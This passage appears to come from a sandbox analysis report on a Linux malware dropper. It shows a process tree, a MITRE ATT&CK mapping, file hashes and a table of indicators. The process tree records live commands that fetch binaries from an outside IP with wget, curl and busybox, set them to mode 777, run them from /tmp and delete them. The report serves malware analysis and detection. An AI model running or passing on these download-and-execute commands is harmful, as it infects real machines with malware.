  ./kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  PID:952
- /usr/bin/wget
  wget http://87.120.84.230/bins/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  PID:953
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  PID:955
- /bin/chmod
  chmod 777 CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  ./CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  PID:958
- /usr/bin/wget
  wget http://87.120.84.230/bins/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  PID:959
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:960
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  PID:961
- /bin/chmod
  chmod 777 EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  - File and Directory Permissions Modification
  PID:962
- /tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  ./EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  - Executes dropped EXE
  PID:963
- /bin/rm
  rm EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  PID:964
- /usr/bin/wget
  wget http://87.120.84.230/bins/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  PID:965
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:966
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  PID:967
- /bin/chmod
  chmod 777 TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  - File and Directory Permissions Modification
  PID:968
- /tmp/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  ./TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  - Executes dropped EXE
  PID:969
- /bin/rm
  rm TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  PID:970
- /usr/bin/wget
  wget http://87.120.84.230/bins/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  PID:971
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:972
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  PID:973
- /bin/chmod
  chmod 777 ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  - File and Directory Permissions Modification
  PID:974
- /tmp/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  ./ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  - Executes dropped EXE
  PID:975
- /bin/rm
  rm ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
  2⤵
  PID:976

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR

Path /tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR	735	EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
/tmp/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq	741	TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
/tmp/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7	747	ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
/tmp/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2	772	ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
/tmp/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI	801	5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
/tmp/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS	810	XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
/tmp/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF	822	AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
/tmp/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz	849	kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
/tmp/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73	861	CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
/tmp/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA	867	HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
/tmp/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3	873	UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
/tmp/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD	879	tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
/tmp/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd	885	XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
/tmp/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r	891	NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
/tmp/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI	897	5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
/tmp/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS	903	XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
/tmp/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2	909	ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
/tmp/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA	915	HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
/tmp/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3	921	UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
/tmp/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD	927	tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
/tmp/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd	933	XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
/tmp/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r	939	NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
/tmp/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF	945	AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
/tmp/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz	951	kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
/tmp/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73	957	CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
/tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR	963	EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
/tmp/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq	969	TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
/tmp/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7	975	ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7